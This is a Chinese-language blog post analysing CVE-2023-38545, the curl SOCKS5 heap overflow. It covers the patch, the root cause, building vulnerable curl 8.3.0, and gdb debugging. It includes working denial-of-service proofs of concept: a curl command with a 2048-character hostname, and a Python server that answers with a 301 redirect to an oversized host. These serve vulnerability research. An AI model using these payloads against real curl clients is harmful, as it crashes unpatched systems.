CVE-2023-38545  curl堆缓冲区溢出分析

一、漏洞简介

1、这个缺陷使得curl在SOCKS5代理握手时导致一个基于堆的缓冲区溢出。

2、当 curl 被要求将主机名传递给 SOCKS5 代理以允许代理解析地址而不是由 curl 本身完成时,主机名的最大长度可以是 255 字节。

3、如果检测到主机名长度超过 255 字节,则 curl 将切换到本地名称解析,并将解析的地址传递给代理。由于一个错误,”让主机解析名称“的局部变量可能会在缓慢的 SOCKS5 握手过程中获得错误的值,将太长的主机名复制到目标缓冲区,而不是在复制已解析的地址。

二、补丁分析

2.1 影响范围

受影响的版本:libcurl 7.69.0 至 8.3.0(含 8.3.0)

不受影响的版本:libcurl < 7.69.0 和 >= 8.4.0

2.2 官方更新

从 curl 8.4.0 开始,如果名称太长,curl 不再切换到本地解析模式,而是正确地返回错误。

补丁下载地址:https://curl.se/docs/CVE-2023-38545_patches.zip

主机名太长,超过255字节,就会返回报错。

三、漏洞成因

根据补丁分析,成因在于hostname长度大于255时,memcpy拷贝主机名的时候,那么我们找到对应的代码,漏洞触发的逻辑应该如下所示:

1、主机名hostname长度大于255时,会进行本地解析

2、本地解析主机名

3、本地解析失败后,会进行远程解析,当主机名超长时,memcpy拷贝时超过socksreq的大小,造成堆溢出(实际调试的过程中并没有进行本地解析,会直接进行远程解析,原因不知为何?)

四、环境准备

4.1 系统环境

系统为Ubuntu 20.04 64位系统,安装需要的依赖

sudo apt update
sudo apt install make gdb gcc git checksec

4.2 运行代理服务

参考hatboy师傅的python版本的socks5服务端代码,保存其中“不需要认证的socks5服务器“代码为socks.py,端口这里设置为1080:

import select
import socket
import logging, struct
from socketserver import StreamRequestHandler, ThreadingTCPServer
SOCKS_VERSION = 5
class SocksProxy(StreamRequestHandler):
    def handle(self):
        print('Accepting connection from {}'.format(self.client_address))
        # 协商
        # 从客户端读取并解包两个字节的数据
        header = self.connection.recv(2)
        version, nmethods = struct.unpack("!BB", header)
        # 设置socks5协议,METHODS字段的数目大于0
        assert version == SOCKS_VERSION
        assert nmethods > 0
        # 接受支持的方法
        methods = self.get_available_methods(nmethods)
        # 无需认证
        if 0 not in set(methods):
            self.server.close_request(self.request)
            return
        # 发送协商响应数据包
        self.connection.sendall(struct.pack("!BB", SOCKS_VERSION, 0))
        # 请求
        version, cmd, _, address_type = struct.unpack("!BBBB", self.connection.recv(4))
        assert version == SOCKS_VERSION
        if address_type == 1:  # IPv4
            address = socket.inet_ntoa(self.connection.recv(4))
        elif address_type == 3:  # Domain name
            domain_length = self.connection.recv(1)[0]
            address = self.connection.recv(domain_length)
            #address = socket.gethostbyname(address.decode("UTF-8"))  # 将域名转化为IP,这一行可以去掉
        elif address_type == 4: # IPv6
            addr_ip = self.connection.recv(16)
            address = socket.inet_ntop(socket.AF_INET6, addr_ip)
        else:
            self.server.close_request(self.request)
            return
        port = struct.unpack('!H', self.connection.recv(2))[0]
        # 响应,只支持CONNECT请求
        try:
            if cmd == 1:  # CONNECT
                remote = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                remote.connect((address, port))
                bind_address = remote.getsockname()
                print('Connected to {} {}'.format(address, port))
            else:
                self.server.close_request(self.request)
            addr = struct.unpack("!I", socket.inet_aton(bind_address[0]))[0]
            port = bind_address[1]
            #reply = struct.pack("!BBBBIH", SOCKS_VERSION, 0, 0, address_type, addr, port)
            # 注意:按照标准协议,返回的应该是对应的address_type,但是实际测试发现,当address_type=3,也就是说是域名类型时,会出现卡死情况,但是将address_type该为1,则不管是IP类型和域名类型都能正常运行
            reply = struct.pack("!BBBBIH", SOCKS_VERSION, 0, 0, 1, addr, port)
        except Exception as err:
            logging.error(err)
            # 响应拒绝连接的错误
            reply = self.generate_failed_reply(address_type, 5)
        self.connection.sendall(reply)
        # 建立连接成功,开始交换数据
        if reply[1] == 0 and cmd == 1:
            self.exchange_loop(self.connection, remote)
        self.server.close_request(self.request)
    def get_available_methods(self, n):
        methods = []
        for i in range(n):
            methods.append(ord(self.connection.recv(1)))
        return methods
    def generate_failed_reply(self, address_type, error_number):
        return struct.pack("!BBBBIH", SOCKS_VERSION, error_number, 0, address_type, 0, 0)
    def exchange_loop(self, client, remote):
        while True:
            # 等待数据
            r, w, e = select.select([client, remote], [], [])
            if client in r:
                data = client.recv(4096)
                if remote.send(data) <= 0:
                    break
            if remote in r:
                data = remote.recv(4096)
                if client.send(data) <= 0:
                    break
if __name__ == '__main__':
    # 使用socketserver库的多线程服务器ThreadingTCPServer启动代理
    with ThreadingTCPServer(('127.0.0.1', 1080), SocksProxy) as server:
        server.serve_forever()

4.3 编译源码

下载curl 8.3.0版本的源码进行编译,为了之后调试方便加入调试符号(-g)

wget https://github.com/curl/curl/releases/download/curl-8_3_0/curl-8.3.0.zip
unzip curl-8.3.0.zip
cd curl-8.3.0
./configure --prefix=/usr/local/curl  --without-ssl --disable-dependency-tracking CFLAGS=-g
make
make install

4.4 安装GDB调试插件

为了调试方便安装gef插件

git clone https://github.com/gatieme/GdbPlugins.git ~/GdbPlugins
echo 'source ~/GdbPlugins/gef/gef.py' > ~.bashinit

安装好后,执行gdb会有gef>提示符。

五、漏洞分析

5.1 漏洞利用

checksec查看程序保护情况,保护全开

正常的RCE利用几乎不可能,仅能造成拒绝服务

1、	NX,无法使用shellcode
2、	PIE,地址随机
3、	没有泄露地址的地方
4、	域名不能包含特殊字符,比如空字节

根据漏洞成因,设定limit-rate大小为1024,主机名大小2048

/usr/local/curl/bin/curl --limit-rate 1024 --proxy socks5h://localhost:1080 http://`python3 -c "print('A'*2048)"`

执行后会使程序发生段错误,造成拒绝服务

5.2 动态调试

1、调试

gdb /usr/local/curl/bin/curl
gef> set args --limit-rate 1024 --proxy socks5h://localhost:1080 http://AAAA....(这里省略n个A)
get> r

出现崩溃,断在cfilters.c 的446行

2、下断点

下断点 b socks.c:907

断下来,memcpy拷贝之后,造成溢出

堆块显示0x411,除去0x10的头部和标志1,实际大小为0x400,参考以下堆结构图示:

5.3 进阶利用

问:5.1是本地指定访问的地址造成拒绝服务,那么访问一个正常的地址,能否造成拒绝服务呢?

答:答案是肯定的,根据官方文章说明,curl可以支持重定向,通过301跳转的地址超长就会造成类似的效果。准备一个正常的Web服务,如下所示:

#conding:utf8
import socket

# 创建socket对象
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
# 获取本地主机名和端口号
host = ''
port = 8080

# 将socket对象绑定到指定的主机和端口上
server_socket.bind((host, port))
# 开始监听连接
server_socket.listen(1)

# 等待客户端连接
while True:
    print("等待客户端连接...")
    client_socket, client_address = server_socket.accept()
    
    print("连接来自: ", client_address)
    # 接收客户端发送的数据
    data = client_socket.recv(1024)
    # 处理接收到的数据
    print("接收到的数据为: ", data.decode())
    # 发送响应数据给客户端
    message = b'HTTP/1.0 301 Moved Permanently\r\nLocation: http://' + b'A'*0x20000 + b'\r\n\r\n'
    # 发送的数据
    print("发送的数据为: ", message)
    client_socket.sendall(message)
    # 关闭客户端连接
    client_socket.close()

执行命令,加上参数-L支持重定向

/usr/local/curl/bin/curl --limit-rate 1024 --proxy socks5h://localhost:1080 -L http://localhost:8080

同样可以造成崩溃

5.4 利用思考

1、大家有没有发现参数中包含limit-rate参数,如果没有呢?

再来调试一下,发现socksreq大小为0x19000,足以满足0x2000,不会造成堆溢出

2、那么我们把重定向的主机名0x2000扩大到0x20000呢?

答案:直接报错退出,内存不足。

3、留下一个问题

当系统的ASLR没开时,能够正常利用吗?

六、总结

当使用socks5代理时,如果主机名大于255,则curl会尝试使用本地解析代替远程解析,但没有按照预期工作,导致内存损坏,攻击者可以构造恶意主机名触发漏洞,成功利用漏洞可能造成代码执行。

但经验证该漏洞利用条件苛刻,影响力有限。

七、参考链接

https://curl.se/docs/CVE-2023-38545.html

https://zhuanlan.zhihu.com/p/530364753

https://hatboy.github.io/2018/04/28/Python%E7%BC%96%E5%86%99socks5%E6%9C%8D%E5%8A%A1%E5%99%A8/

留下评论

您的电子邮箱地址不会被公开。 必填项已用*标注